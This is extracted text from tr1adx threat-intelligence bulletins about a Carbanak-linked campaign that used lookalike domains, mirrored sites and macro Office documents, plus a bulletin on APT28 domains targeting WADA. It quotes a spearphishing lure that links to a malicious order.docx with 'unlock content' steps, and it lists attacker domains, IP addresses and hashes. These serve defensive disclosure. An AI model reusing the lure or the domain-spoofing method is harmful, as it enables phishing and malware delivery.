+very rapid turn around times between the provisioning of attack/C2 infrastructure and execution of the actual attacks.
+Based on our observations, we believe the TelePort Crew threat actor has performed considerable research on their targets, including mapping out
+business/customer relationships between the targets as well as understanding other geographic and target "trust" specific attributes often seen in cases of
+watering hole attacks.
+Overview of Attack Methodology and TTP's
+Domain Registration
+The TelePort Crew would start off by registering domain names, which closely resemble those of legitimate web sites. These web sites would be designed to
+either mimic the group's intended target, or a third party trusted by the intended target. The majority of these domain registrations appear to use a single
+registrar, "PDR Ltd. d/b/a PublicDomainRegistry.com", and in some cases the Threat Actor would recycle the same Registrant Information. We also noted a
+number of specific differentiators when it comes to comparing the Registrant Information and the types of malicious websites that were used.
+The following table summarizes some of the more interesting domains we have seen the TelePort Crew threat actor register as part of the "Digital Plagiarist"
+campaign. While some of these domains are used for malware delivery, others are used for email domain spoofing, and C2 communications. A full list of
+(disclosable) domains suspected to be associated with the TelePort Crew's "Digital Plagiarist" campaign is provided in the Indicators of Compromise section:
+Domain
+Creation
+Date
+Registrant
+Registrar
+Org Mimicked
+Country
+Domain Mimicked
+Industry
+microfocus-official[.]com
+201610-28
+Andrey
+Arseniev
+PDR Ltd.
+d/b/a
+Micro Focus
+International
+United
+Kingdom
+microfocus.com
+Software
+Development
+perrigointernational[.]com
+2016-
+Andrey
+PDR Ltd.
+Perrigo
+United
+perrigo.com
+Healthcare
+perrigointernational[.]com
+201610-28
+Andrey
+Arseniev
+PDR Ltd.
+d/b/a
+Perrigo
+Company plc
+United
+States
+perrigo.com
+Healthcare
+ornuafood[.]com
+201610-28
+Andrey
+Arseniev
+PDR Ltd.
+d/b/a
+Ornua Food
+Ireland
+ornua.com
+Food Production
+esb-energy-int[.]com
+201610-27
+Dresde
+Nore
+PDR Ltd.
+d/b/a
+Electricity
+Supply Board
+Ireland
+esb.ie
+Utilities & Electric
+fda-gov[.]com
+201612-09
+Smolin
+Sergei
+PDR Ltd.
+d/b/a
+US Food and
+Drug
+Administration
+(FDA)
+United
+States
+fda.gov
+Government
+treasurygovernment[.]com
+201612-09
+Smolin
+Sergei
+PDR Ltd.
+d/b/a
+Department of
+the Treasury
+United
+States
+treasury.gov
+Government
+bentley-systems-ltd[.]com
+201610-27
+Dresde
+Nore
+PDR Ltd.
+d/b/a
+Bentley
+Systems
+United
+States
+bentley.com
+Software
+Development
+zynga-ltd[.]com
+201610-27
+Dresde
+Nore
+PDR Ltd.
+d/b/a
+Zynga
+United
+States
+zynga.com
+Software
+Development
+syngenta-usa[.]com (*)
+201610-27
+Dresde
+Nore
+PDR Ltd.
+d/b/a
+Syngenta
+Switzerland
+syngenta-us.com
+Agriculture/BioTech
+ai0ha[.]com
+201611-29
+Garry
+Torp
+PDR Ltd.
+d/b/a
+Aloha, Inc.
+United
+States
+aloha.com
+Nutritional
+Supplements
+iris-woridwide[.]com
+201611-29
+Garry
+Torp
+PDR Ltd.
+d/b/a
+iris Worldwide
+United
+Kingdom
+iris-worldwide.com
+Marketing/Public
+Relations
+strideindustrialusa[.]com
+201512-21
+Andrew
+Zavok
+PDR Ltd.
+d/b/a
+Stride
+Industrial
+Group Ltd
+United
+Kingdom
+strideindustrialgroup.com
+Manufacturing
+waldorfs-astoria[.]com
+201612-11
+Fred Hesl
+PDR Ltd.
+d/b/a
+WaldorfAstoria
+United
+States
+waldorf-astoria.com
+Hospitality
+atlantis-bahamas[.]com
+201612-11
+Fred Hesl
+PDR Ltd.
+d/b/a
+Atlantis
+Bahamas
+Bahamas
+atlantisbahamas.com
+Hospitality
+sizzier[.]com
+201612-01
+Egor
+Danilkin
+PDR Ltd.
+d/b/a
+Sizzler Family
+Restaurants
+United
+States
+sizzler.com
+Restaurant Chain
+taskretaiitechnology[.]com
+201612-01
+Egor
+Danilkin
+PDR Ltd.
+d/b/a
+Task Retail
+Technology
+Australia
+taskretailtechnology.com
+Software
+Development
+dhl-service-au[.]com
+201609-27
+Remin
+Vladmiri
+PDR Ltd.
+d/b/a
+DHL Australia
+Australia
+dhl.com.au
+Logistics
+prsnewwire[.]com
+201608-30
+Remin
+Vladmiri
+PDR Ltd.
+d/b/a
+PR Newswire
+United
+States
+prnewswire.com
+Marketing/Public
+Relations
+(*) Legitimate organization reclaimed the mimicked/spoofed domain.
+Once the malicious domain had been registered, the group would point it to one of the following IP addresses:
+Domain Mirroring
+The Threat Actor would then use the TelePort Pro or TelePort Ultra software to mirror the content of the legitimate organization's web site to the newly registered
+domain. While in the majority of cases the TelePort Pro software would "flawlessly" mirror the web sites, if the web page contains links to external pages which
+are outside the scope of the TelePort site mirroring configuration, the software will rewrite some of the links in the mirrored HTML files as follows:
+Traces of TelePort Ultra seen on irisworidwide[.]com domain:
+<li><a href="javascript:if(confirm(%27https://twitter.com/irisworldwide \n\nThis file was not retrieved by Teleport Ultra, because it is addressed on a
+domain or path outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?
+%27))window.location=%27https://twitter.com/irisworldwide%27" tppabs="https://twitter.com/irisworldwide" target="_blank"><img src="icon-twitter.png"
+tppabs="http://www.iris-worldwide.com/media/1239/icon-twitter.png" alt="Twitter"></a></li>
+Traces of TelePort Pro seen on prsnewwire[.]com domain:
+<a href="javascript:if(confirm(%27http://www.omniture.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path
+outside the boundaries set for its Starting Address. \n\nDo you want to open it from the server?
+%27))window.location=%27http://www.omniture.com/%27" tppabs="http://www.omniture.com/" title="Web Analytics">
+Malware Delivery
+Malware Delivery
+We were able to identify and confirm at least two separate instances where above domains were used to serve up malicious Office documents:
+The malware document "order.docx" is a stage 1 binary which, when opened by the end user, will download a stage 2 binary through the embedded macros in
+the malicious Office document. TrustWave recently did a great write up entitled "New Carbanak / Anunak Attack Methodology ", which provides additional details
+regarding the malware used in that campaign, as well as an overview of C2 communications and actor TTPs. Based on correlation of TTP's and infrastructure,
+we are fairly confident that the TelePort Crew is closely affiliated with, or is in fact the Carbanak Threat Actor. We also believe the "Digital Plagiarist" campaign is
+associated with, or an evolution of, the campaign described in the recent TrustWave report.
+Once the domains were properly mirrored and outfitted with malware, the TelePort Crew would craft spearphishing emails to their targets in order to lure them to
+download and open malicious Office documents hosted on one of the above domains. We have been able to observe at least one reported instance of such a
+spearphishing email related to the "Digital Plagiarist" campaign.
+barry_frith@shoneys.com -> "mailto:sizzier_company@yahoo.com"
+From: barry_frith@shoneys.com
+Sent: Wednesday, December 14, 2016 10:33 AM
+To: R_bgt, Briargate 0186
+Subject: catering
+Hello,
+My name is George Thon and I'm an Project Manager with Sizzier Ltd.
+We have composed a list of services we require and interested in.
+Enclosed link contains all catering informatiom - http://www.sizzier.com/docs/order.docx
+Click on edit anyway at the top of the page and than double click to unlock content
+Sincerely,
+George Thon
+Sizzier Ltd.
+Campaign and Infrastructure Clean Up
+At the time of this writing, at least one of the malicious documents is still being served on one of the above listed domains. While all of the above listed domains
+are still active, only a few are still serving up mirrored content. When we started investigating this threat actor a few months ago, we were able to observe that
+almost all of the above listed domains were, at one time, serving up mirrored page content.
+Based on all elements of our research, we believe the TelePort Crew threat actor will remove malicious and non-malicious content once successful execution of
+the malware on the target has been achieved. At the same time, our analysis leads us to suggest that the TelePort Crew may also delete or rename malicious
+content when the Threat Actor believes their operation has been compromised.
+Targeted Industry / Organizations Interrelations
+As we started investigating the Teleport Crew threat actor and the "Digital Plagiarist" campaign, it became apparent fairly quickly that the group has spent a
+considerable effort in understanding and mapping out affinities and business/customer relationships between their targets and the domains they would register.
+A good example of that is the relationship between Sizzler Family Restaurants (TelePort Crew registered "sizzier[.]com") and Task Retail Technology
+(TelePort Crew registered "taskretaiitechnology[.]com"):
+Sizzler Family Restaurants is a restaurant chain operating in the United States and abroad (including Australia).
+Task Retail Technology is a software development company based in Australia, who develop the xchangexec Enterprise Point-of-Sale (POS)
+software.
+The Task Retail Technology web site lists Sizzler as one of their customers.
+Another, yet less obvious example, is that of the "relationship" between Perrigo (TelePort Crew registered "perrigointernational[.]com") and Syngenta
+(TelePort Crew registered "syngenta-usa[.]com"):
+Perrigo is a US based Pharmaceutical Company.
+Syngenta is a Swiss Agribusiness/BioTech firm, with offices in the United States.
+Based on multiple news reports [1] [2] [3] [4], both firms have seen similar investor profiles and were also both linked to Merger & Acquisition
+activity over the past year.
+In a potentially more sinister, and entirely speculative twist, there may be a relationship between TrustWave and iris Worldwide Marketing (TelePort Crew
+registered "iris-woridwide[.]com"):
+iris Worldwide is marketing company responsible for marketing of some of the world's biggest brands.
+TrustWave is a security company who recently published an article regarding the Carbanak / Anunak Threat Actor and their new Attack
+Methodology.
+Apparently, iris Worlwide was responsible for a marketing campaign around TrustWave's Global Security Report.
+Attribution
+The tr1adx team initially started tracking this Threat Actor under the codename "TelePort Crew" as a result of some of their TTP's. As we were delving deeper
+into the group's activities, we were seeing increasing overlap with TTP's and infrastructure associated with the Carbanak / Anunak threat actor, which was
+confirmed as we compared notes with the information in the TrustWave article, entitled "New Carbanak / Anunak Attack Methodology ", published in November
+2016.
+Several elements strongly suggest TelePort Crew and Carbanak/Anunak may be one and the same threat actor:
+tr1adx's investigation, as well as the TrustWave investigation, point to a single IP address where the registered domains were hosted (192.99.14.211)
+tr1adx's investigation revealed that two domains we had been tracking (dhl-service-au[.]com and prsnewwire[.]com) were registered by a Registrant
+Name purporting to be "Remin Vladmiri". The same individual also registered "park-travels[.]com", which has been associated with the Carbanak/Anunak
+threat actor.
+The malware used in the "Digital Plagiarist" campaign appears to closely resemble that attributed to the Carbanak/Anunak threat actor, in terms of
+malware delivery, malware URL path, and behavior.
+Disclaimer
+The tr1adx team believes it is important to note that while we have seen this threat actor register domains similar in nature to domains belonging to legitimate
+organizations, we are in no way suggesting that these legitimate organizations or its customers were a direct target for the TelePort Crew threat actor. We do
+believe the group has leveraged the reputation and legitimacy of these organizations to give more credit to the "Digital Plagiarist" campaign, in turn potentially
+yielding a higher rate of success for compromising the group's victims.
+Indicators of Compromise
+Indicators of Compromise (IOCs): Domains (25+) - Summary Table
+microfocus-official[.]com
+iris-woridwide[.]com
+google3-ssl[.]com
+perrigointernational[.]com
+strideindustrialusa[.]com
+google4-ssl[.]com
+ornuafood[.]com
+waldorfs-astoria[.]com
+ssl-googles4[.]com
+esb-energy-int[.]com
+atlantis-bahamas[.]com
+google2-ssl[.]com
+fda-gov[.]com
+sizzier[.]com
+google5-ssl[.]com
+treasury-government[.]com
+taskretaiitechnology[.]com
+ssl-googlesr5[.]com
+bentley-systems-ltd[.]com
+dhl-service-au[.]com
+bols-googls[.]com
+zynga-ltd[.]com
+prsnewwire[.]com
+syngenta-usa[.]com
+google-ssls[.]com
+ai0ha[.]com
+google-stel[.]com
+Indicators of Compromise (IOCs): IP Addresses - Summary Table
+192.99.14.211
+31.41.41.41
+144.76.61.231
+Indicators of Compromise (IOCs): File Hashes - Summary Table
+order.docx
+MD5: 950afc52444e3b23a4923ab07c1e7d87
+SHA1: 1827a7daa98c127af11318eebe23ec367f9146c9
+order.docx
+MD5: ae8404ad422e92b1be7561c418c35fb7
+SHA1: 400f02249ba29a19ad261373e6ff3488646e95fb
+Indicators of Compromise (IOCs) [Downloadable Files]:
+If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes
+immediately and engage Law Enforcement where appropriate.
+[tr1adx]: Intel
+tr1adx.net/intel/TIB-00004.html
+tr1adx Intelligence Bulletin (TIB) 00004: A Pretty Dope Story About Bears: Early Indicators of Continued World Anti-Doping Agency (WADA)
+Targeting
+[Published: January 14, 2017]
+Summary
+The tr1adx team identified what we believe to be a new campaign, which we assess to be attributed to the Russian Nation State
+Threat Actor APT28 (a.k.a. Fancy Bear), yet again targeting the World Anti-Doping Agency (WADA) . In September 2016, WADA
+confirmed they were the victim of a successful breach, which occurred over the summer of 2016, and purportedly attributed to APT28,
+as was reported in WADA's press release on the attack. For those interested, ThreatConnect published an informative write up on
+this breach, entitled "Russian Cyber Operations On Steroids", detailing the APT28 campaign targeting WADA.
+Analysis
+On January 14, 2017, the tr1adx team observed what we believe to be early stages of a new campaign targeting the World AntiDoping Agency (WADA) or affiliates. A Threat Actor, following similar TTP's to those we have seen Russian Nation State Threat Actor
+APT28 use, has registered two domains which we assess may be used in further cyber attacks against the WADA or its affiliates.
+Additionally, in a move similar to TTP's described in ThreatConnect's "Russian Cyber Operations On Steroids" report, we believe the
+Threat Actor may be preparing to launch, or has already launched a phishing campaign against their targets.
+Indicators of Compromise
+Added on 2017-01-14:
+Domain
+Creation
+Date
+Campaign
+Status
+Targeted
+Targeted
+Country
+Targeted
+Domain
+Analyst Notes (and other fun
+anecdotes)
+worlddopingagency[.]com
+201701-14
+Active
+World
+AntiDoping
+Agency
+(WADA)
+Canada
+wadaama.org
+Identified 1 related indicator:
+201701-14
+Active
+World
+AntiDoping
+Agency
+(WADA)
+Canada
+wadaama.org
+Identified 1 related indicator:
+dopingagency[.]com
+mail[.]worlddopingagency[.]com
+(40.112.145.124)
+mail[.]dopingagency[.]com
+(40.112.145.124)
+Indicators of Compromise (IOCs) [Downloadable Files]:
+TIB-00004 Domain IOCs [TXT]
+If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber
+investigative processes immediately and engage Law Enforcement where appropriate.
+Recommendations
+Evidence suggests this campaign may be in the early execution phase. As such, a number of preventative and detective controls can
+be instrumented to deter this Threat Actor from achieiving their mission:
+Block traffic to and from any of the above listed domains and IP addresses on proxies and firewalls.
+Block emails originating from or going to aforementioned domains (worlddopingagency[.]com and dopingagency[.]com).
+Search through SIEM/Log Analysis tools for traces of connections to and from these domains or IP addresses, as well as
+proactively create alerting rules in SIEM or IDS/IPS.
+Recommendation for WADA: Get these domains taken down ASAP.